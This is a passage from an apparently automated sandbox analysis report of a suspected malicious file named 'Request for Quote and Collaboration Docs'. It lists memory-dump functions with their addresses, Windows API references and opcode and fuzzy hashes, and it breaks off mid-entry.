Opcode Fuzzy Hash: 1d43183c21fc5bd637ea5e853920598a7cd109e3a33be1f05fbca5c7f64224de
Instruction Fuzzy Hash: 43A1E3347043449FDB15AF78885666D37A6EFC5360B20462EE8169B3D2CF399D42CB91

Function 00160CA0 Relevance: 1.8, Strings: 1, Instructions: 539
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`&V7, xrefs: 0016158C

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID: `&V7
API String ID: 0-1929268624
Opcode ID: b677e2c5e7a2b01f9f077a4071397625246503436edf2a3196c54d0a7cfafdde
Instruction ID: 823fa2c2e3bc99b611758e42212bdf2d92450a03dfd1378360fa7ad02914cfa3
Opcode Fuzzy Hash: b677e2c5e7a2b01f9f077a4071397625246503436edf2a3196c54d0a7cfafdde
Instruction Fuzzy Hash: EC52B974A0061ACFDB54DF68DD94A9DBBB2FB89301F1051A9E509B7360DB746E82CF80

Function 398A3FE8 Relevance: 1.7, Strings: 1, Instructions: 405
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

':7U, xrefs: 398A4094

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID: ':7U
API String ID: 0-3193646482
Opcode ID: b8b9252d11aebf36a01ce4111ade8f96390baaee687f63bb1572d7d40f227c8b
Instruction ID: 680ce8d25bafde9c56d3ab3b6e56ef05f29d4ae7e52e6081efa0a7a75a3b360a
Opcode Fuzzy Hash: b8b9252d11aebf36a01ce4111ade8f96390baaee687f63bb1572d7d40f227c8b
Instruction Fuzzy Hash: 3ED1E534B042448FDB05DB78C891A9E7BB6EFC9360F14416AE505DB3A2DB35ED42CBA1

Function 071565A4 Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 071566C2

Memory Dump Source

Source File: 00000004.00000002.3984664042.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7150000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: abb443a268c2890524d1cb7aff73144d7237b61268fdde581eb26d2482078fd1
Instruction ID: 1942b35615cab5b6a1b1081ee6324e0ce354081805e50c3ef8c562eb711f00ac
Opcode Fuzzy Hash: abb443a268c2890524d1cb7aff73144d7237b61268fdde581eb26d2482078fd1
Instruction Fuzzy Hash: A651C1B1D00349DFDB14CF9AC984ADEBBB5FF48710F64822AE819AB250D775A845CF90

Function 071565B0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 071566C2

Memory Dump Source

Source File: 00000004.00000002.3984664042.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7150000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d8bf070aea940a6cad35b4523a9cd48cc551247d7a35d94929ef5cc7637ec6fb
Instruction ID: 3bf7d5d398a748afe271b1dd74f6bf00eb899b3e82708299017751c8e2d1d65c
Opcode Fuzzy Hash: d8bf070aea940a6cad35b4523a9cd48cc551247d7a35d94929ef5cc7637ec6fb
Instruction Fuzzy Hash: 5E41B1B1D00349DFDB14CF99C984ADEBFB5BF48710F64822AE819AB250D775A845CF90

Function 07153CB4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 07158DB1

Memory Dump Source

Source File: 00000004.00000002.3984664042.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7150000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 370267611d76b38608d1fe7420db1e9cb10d2a27f363af093c61f7a90415ac57
Instruction ID: 2ec3ce1ed88c9c6bd341e8adcdbb97e205d3a2cddcaed392eb3118b9915cba46
Opcode Fuzzy Hash: 370267611d76b38608d1fe7420db1e9cb10d2a27f363af093c61f7a90415ac57
Instruction Fuzzy Hash: 6F4108B5900349DFDB18CF99C444AAAFBF5FF88314F248459D929AB361D774A841CBA0

Function 3A67B438 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3A67B4C7

Memory Dump Source

Source File: 00000004.00000002.4007882196.000000003A670000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a670000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: af8618b9f41ed38c09a31ec30885855e9692dece466f3185d0cd45e9a80e827c
Instruction ID: 1df744a3f973d0c8ee0531d84547801cadf1bf8a66c53efa18707e3ca74a37c0
Opcode Fuzzy Hash: af8618b9f41ed38c09a31ec30885855e9692dece466f3185d0cd45e9a80e827c
Instruction Fuzzy Hash: E621E7B5900219DFDB10CF9AD980ADEBBF4EF48710F24841AE915A7350D375A951CFA1

Function 3A67B440 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3A67B4C7

Memory Dump Source

Source File: 00000004.00000002.4007882196.000000003A670000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a670000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b38b238e2d06f5daa8d9d89c2f647e583cb02a24032d8a69de87705ed15f6c32
Instruction ID: c2dc1c88ed4518dfb04e44579221e71747453927d05e65cb215175288037e4e7
Opcode Fuzzy Hash: b38b238e2d06f5daa8d9d89c2f647e583cb02a24032d8a69de87705ed15f6c32
Instruction Fuzzy Hash: 7F21E4B5900209EFDB10CFAAD980ADEBBF4EF48320F14841AE918A3350D379A950CF61

Function 0715B230 Relevance: 1.6, APIs: 1, Instructions: 52comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0715B28D

Memory Dump Source

Source File: 00000004.00000002.3984664042.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7150000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: eca01b51ed4610438a6a189ced135d3379d76b430e0a25fe6394f8d105c16288
Instruction ID: 6e927986cf9b7b66d4eb97d029e7e094ad3147df7611c0c09e6ae9defb1a0215
Opcode Fuzzy Hash: eca01b51ed4610438a6a189ced135d3379d76b430e0a25fe6394f8d105c16288
Instruction Fuzzy Hash: B21152B1804389DFCB20DFAAD945BDEBFF4EB48220F24845AE518A3211C379A544CFA1

Function 0715A3A0 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0715B28D

Memory Dump Source

Source File: 00000004.00000002.3984664042.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7150000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: b3b074a931a1babc5d9f046e8eb3b74659ce77494b5eb5252a6c21f6ebb825de
Instruction ID: a950efb7fb6a191257b6585ccbdcdbe2268c586dd9d45e97466b7cffacdd32be
Opcode Fuzzy Hash: b3b074a931a1babc5d9f046e8eb3b74659ce77494b5eb5252a6c21f6ebb825de
Instruction Fuzzy Hash: 6B1145B1804749CFCB20DF9AD544B9EBBF4EB48320F24841AE518A7300C3B8A940CFA5

Function 00162790 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

F, xrefs: 001627BF

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-2730988801
Opcode ID: 4d7b05e6663cba3edef4d891e9623fff854c5b08e442095ce1eb24f081291f51
Instruction ID: 030daaeacdbea03121ae1851291b5b2a02be7dc5a9eafa8542f3899ecee668af
Opcode Fuzzy Hash: 4d7b05e6663cba3edef4d891e9623fff854c5b08e442095ce1eb24f081291f51
Instruction Fuzzy Hash: 58314734D053498FCB06EFB8D8046EDBFF4EF4A300F1411AAD444A7261EB345A85CBA2

Function 398A4632 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

*:7U, xrefs: 398A463C

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID: *:7U
API String ID: 0-1278342479
Opcode ID: 44bc6f65ae755ff89ba674fa26bbc10cfc10ea3119f4424735831f6bff698221
Instruction ID: 052cac2cf19e0586542c7a7176f1ff274f0f8b5244df3748a74b63f88a1c0a00
Opcode Fuzzy Hash: 44bc6f65ae755ff89ba674fa26bbc10cfc10ea3119f4424735831f6bff698221
Instruction Fuzzy Hash: 8D11AC793006008FEB04CF38D894A46BBB5EFD9760B1184AAE509CB762CA70EC00CB50

Function 001662F0 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

397, xrefs: 001662F0

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID: 397
API String ID: 0-1867885166
Opcode ID: ee2bdd00d3a448df3ff17f2f28a21291cd75ba2935c8006913dcf431d753c24e
Instruction ID: 45510550fa915a70c8a27a065be12a7f367fc003ce74d5cba1707b1a47218431
Opcode Fuzzy Hash: ee2bdd00d3a448df3ff17f2f28a21291cd75ba2935c8006913dcf431d753c24e
Instruction Fuzzy Hash: DE11E9357055118FC7295B29DCA453E7BA2FFC57513194479E50ADB764CF31DC028B90

Function 0016E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a92c0f1caf1ced66ba76ddd4bba1006edf902b047c71a9bc013de0101d1bf80
Instruction ID: 80e6f4ccc52624c38894dad43df712dd58e65bc1031176d9c240c0095e59822b
Opcode Fuzzy Hash: 7a92c0f1caf1ced66ba76ddd4bba1006edf902b047c71a9bc013de0101d1bf80
Instruction Fuzzy Hash: A412A834421653DFE2402B60EEAC12E7BA1FB5F727710AD24F10FC1865AB7546DACB62

Function 001676F1 Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fbf814e27f40b2a6f2c2c129d95a32627304a5bed081089b55a407e168b4769
Instruction ID: e63fad81a73513dbf9e7f226f51ef32830a7774e7edcee33e9de43567ed99eb1
Opcode Fuzzy Hash: 2fbf814e27f40b2a6f2c2c129d95a32627304a5bed081089b55a407e168b4769
Instruction Fuzzy Hash: F5125C30A04249DFCB15DF69C884AAEBBF2FF89318F158559E845DB2A1DB30ED51CB90

Function 00165F38 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c58bfeb4850a278aefb84f0fa54552dbdf66e56ae65360bbe62b4f427b14be81
Instruction ID: bd5ce70106cadcb9b5fd8c5741bba6ec4d6f814f8c3bde5ceb40304cd1a6586c
Opcode Fuzzy Hash: c58bfeb4850a278aefb84f0fa54552dbdf66e56ae65360bbe62b4f427b14be81
Instruction Fuzzy Hash: 19B1AC307042118FDB199F74CCA4B7A7BA2AFC9300F15856AE846CB3A2CB34CD52DB91

Function 00169A10 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 286e91e72d5d3fed9a117263ec2236b69b89f300e4555c5ced2dabebac49bb8b
Instruction ID: 63326ebe723f426cc3ddd4630c3d14c2f688d32c0d5fd1a122eef2ca01b84d81
Opcode Fuzzy Hash: 286e91e72d5d3fed9a117263ec2236b69b89f300e4555c5ced2dabebac49bb8b
Instruction Fuzzy Hash: 0F9127315046459FCB11CF68DC809AABBF9FF81320B15C6A6D858D73A2D331E966CBA1

Function 00166498 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb9ce0918851b74ececc7cd68b64957c6d0074decb2ecf75dd290901496227f8
Instruction ID: 2594f4cf86b19f5228931e848590b463cb3ece02234fd4a3a925caefcfc686ff
Opcode Fuzzy Hash: eb9ce0918851b74ececc7cd68b64957c6d0074decb2ecf75dd290901496227f8
Instruction Fuzzy Hash: C9818F34A00505DFCB18CF69DC84969BBF2BF89315B258169D406E7379DB31EC61CBA1

Function 398A4A68 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6969e4a28b70cfed049f120285f1bc61a6f1d98c8a6c2133baa6d6549ea5e28
Instruction ID: 4f7ca61b2ec1eb5a554b1db406edc72bbd077d808f73928837c5bc889bb21c3a
Opcode Fuzzy Hash: f6969e4a28b70cfed049f120285f1bc61a6f1d98c8a6c2133baa6d6549ea5e28
Instruction Fuzzy Hash: C051F276A043059FDB149BB9DC81A9BBBB9EBC5360F20853EE518C7750D735E802C7A0

Function 001680D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85e54cefa19e85648f2c403573c98d90092bbf093f5acdd5d506beb7a8a27abf
Instruction ID: 12d86e4616e37590041e6219ab342219e99141a83d12b8a021ef521f7b50cf7c
Opcode Fuzzy Hash: 85e54cefa19e85648f2c403573c98d90092bbf093f5acdd5d506beb7a8a27abf
Instruction Fuzzy Hash: 8D7139347006058FCB19DF68CCA4A6E7BE6AF9A740B1942A9E806DB3B1DF70DC51CB51

Function 3A62D700 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 681f73a66edc6bd0b16e5712fd8bc63b14f0067da2659c4a85d3f89d43a68b4a
Instruction ID: d2d99ebd51132a198a15b8884a5daadfd04f36344a54dca04b2daceebfc30fe8
Opcode Fuzzy Hash: 681f73a66edc6bd0b16e5712fd8bc63b14f0067da2659c4a85d3f89d43a68b4a
Instruction Fuzzy Hash: D881A174E412689FEB65DF69DC50BDDBBB2BB89300F1080EAD949A7261DB305E81CF40

Function 3A62D410 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 719c07987f4b167dded2bafe025dccaeaab733e4956ab60d73fefd2807ff8ba1
Instruction ID: 6e551fbc0f38011fcc05b05d526d1296d39c6af0551fa67bea5d142ad6beef78
Opcode Fuzzy Hash: 719c07987f4b167dded2bafe025dccaeaab733e4956ab60d73fefd2807ff8ba1
Instruction Fuzzy Hash: 2B71AD74E00218DFEB54DFE9C890A9DBBB2BF89300F249129D419BB366DB359942CF50

Function 3A6273E0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d53038cd629de25c74c8817f790f07557e6ff013fbac83ae385a5a9c37051c8f
Instruction ID: 509ce23adab028381e110f524b3e1da483ba938df218408f6f0ed1f84188eb6d
Opcode Fuzzy Hash: d53038cd629de25c74c8817f790f07557e6ff013fbac83ae385a5a9c37051c8f
Instruction Fuzzy Hash: 8971BC74E00218DFEB18DFE9C990A9DBBB2BF89300F249129D414BB3A5DB759942CF50

Function 3A6381E8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25ab4ea74f11abf000b2bb191db812ef96b4d8e880062738a61ec900d9670602
Instruction ID: 05f5bf46ecbcd7df71816d1a685b7ac98059173821d482557dbb7f0c76c3c006
Opcode Fuzzy Hash: 25ab4ea74f11abf000b2bb191db812ef96b4d8e880062738a61ec900d9670602
Instruction Fuzzy Hash: 5071BE74E01218DBEB44DFE9C990ADDBBB2BF89300F249129D415BB3A5DB359942CF50

Function 3A6321B8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a1b3348effc6d8217804752730570e3dd28db7e8b143e28cdbd9e54e751b0d7
Instruction ID: 2b1918bc6a8ee28b50f12a1eb88c064cf428a585067c54f80af01a7f10ac9752
Opcode Fuzzy Hash: 4a1b3348effc6d8217804752730570e3dd28db7e8b143e28cdbd9e54e751b0d7
Instruction Fuzzy Hash: 3D71BE74E01218CBEB58DFF9C990A9DBBB2BF89300F249129D415BB3A5DB359942CF50

Function 0016F71F Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf022ed63dc1fb1563510a15dd72e767a04f17ad8a6b83314aee012c90b7b129
Instruction ID: 6e92d525fd486ddf74781ea37666b7f00b99033288b0b51bc32121b6f32f5d18
Opcode Fuzzy Hash: bf022ed63dc1fb1563510a15dd72e767a04f17ad8a6b83314aee012c90b7b129
Instruction Fuzzy Hash: 4D61FE74D01219DFDB15DFE5D844AEEBBB2FF89300F208129E809AB296DB755A46CF40

Function 0016D548 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7478d011f100b789f4626ba54ec31e15764dc6f1a288b4a50f248e77a10cee25
Instruction ID: b02b967f3c61e7661652570e6360e35b5b94ef82ac8f041dcf7d287be985406d
Opcode Fuzzy Hash: 7478d011f100b789f4626ba54ec31e15764dc6f1a288b4a50f248e77a10cee25
Instruction Fuzzy Hash: EB519274E01248DFDB58DFA9D9849DDBBF2BF89300F209169E809AB365DB30A905CF40

Function 001641A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6150f6ef4b6d50bcf2bd437dcdc279cd485cdb9160441b5b2a10204aec03a3fa
Instruction ID: 70adaca4c08a6daf1ee95439916b02412ae1ffd265f2ffa36ab26752a36eb173
Opcode Fuzzy Hash: 6150f6ef4b6d50bcf2bd437dcdc279cd485cdb9160441b5b2a10204aec03a3fa
Instruction Fuzzy Hash: C4517274E01208CFCB08DFA9D99499DBBF2FF89311B609169E805BB364DB35A952CF50

Function 0016AEBB Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27e0569374622e543b0941de4f56a5a53fcdb1d9d455d30031f0a6cb5cfbc7a8
Instruction ID: 4427d4f6327fb8216536834b8cf4f501626450dd7b5b28323cf11c96637df83f
Opcode Fuzzy Hash: 27e0569374622e543b0941de4f56a5a53fcdb1d9d455d30031f0a6cb5cfbc7a8
Instruction Fuzzy Hash: 47412A317083009FCB09AB75DC546AE7FB6AFC9710B15406AF516DB692CF318D51CB91

Function 0016A303 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c495f58ad0c81a7387129afb019f55e37a80f93cd120a2f8cea735ccb60c7915
Instruction ID: 225f6563a1007a4de70910b42cbd24fbbe8b605d0837515d380076209171c503
Opcode Fuzzy Hash: c495f58ad0c81a7387129afb019f55e37a80f93cd120a2f8cea735ccb60c7915
Instruction Fuzzy Hash: D041AD31A04249DFCF05CFA4CC44AADBFB2BF49350F588156E905AB2A1D770E964CF62

Function 00163CB1 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 537bca3a020e748ca024c0684224a735fdf94692503530a0f0ed7cb520fe3036
Instruction ID: e97207668b28689332da776b13731cd4e4c81a0436721c1d53aa7e119ead0131
Opcode Fuzzy Hash: 537bca3a020e748ca024c0684224a735fdf94692503530a0f0ed7cb520fe3036
Instruction Fuzzy Hash: 95316531B042608BDF1C46F98C9427EBAA6AFC5310F68403EE823D3390DFB48E1087A0

Function 398A4790 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b78a73150d6e59c2cfd4e89ddb5d064177d44283fff9d1567dbd8d5d78ea1e27
Instruction ID: 3071607fb247e9a70854814a5e156aef2a3be7236f92b13972c171ef1db475cf
Opcode Fuzzy Hash: b78a73150d6e59c2cfd4e89ddb5d064177d44283fff9d1567dbd8d5d78ea1e27
Instruction Fuzzy Hash: 5F31A471A043489FDB44ABB9D855AAF7BEA9FC9340B1080BEE515DB252DA309D02C7A0

Function 3A62FB37 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8190d2bfc8837ca4937e1d963d3d10e3e30085a844a450d1c38ec30daf93e51e
Instruction ID: 96ae40daa4072450cb1f2e831e5b267c10f215d8a67f1ddd98a9d8ea9c33a787
Opcode Fuzzy Hash: 8190d2bfc8837ca4937e1d963d3d10e3e30085a844a450d1c38ec30daf93e51e
Instruction Fuzzy Hash: 3D41EE78E052499FDB04CFA5D5947EDBBF2BB89300F14912AD805B73A4DB345A46CF50

Function 3A62FB48 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e58048dd2d265c6c79efe8f0d3aa13c7a8158ae23adf821fa12b146fad1ccfb
Instruction ID: 752ca8cb68a77befe7dea18eed898060d1f2d51e151717779af9e72ee4a4bbcd
Opcode Fuzzy Hash: 8e58048dd2d265c6c79efe8f0d3aa13c7a8158ae23adf821fa12b146fad1ccfb
Instruction Fuzzy Hash: 4A419D74E012099FDB04DFA5D9946DDBBF2BB89300F10912AE815B73A4EB745A46CF50

Function 00169C30 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c1c27b7f32f48992322935a34f11398e91d0ced0cbb983d8a6be074078f539
Instruction ID: fbc39269e83ae0ed05195667b00bd97cdfdf80f4f20e4c7bccc071e06b5270e5
Opcode Fuzzy Hash: a2c1c27b7f32f48992322935a34f11398e91d0ced0cbb983d8a6be074078f539
Instruction Fuzzy Hash: F2418D307002558FDB01DFA8CC84B6ABBAAEF89314F548476E908CB265E771DD51DBA1

Function 00165658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e367527ed9f78ded71b46199160dccf2cac2e908e4f786f43d9d981432cf3a6a
Instruction ID: 24db413ed0948e36010e1e36b6fccb1d7d6465c039465445430e616325eb0a95
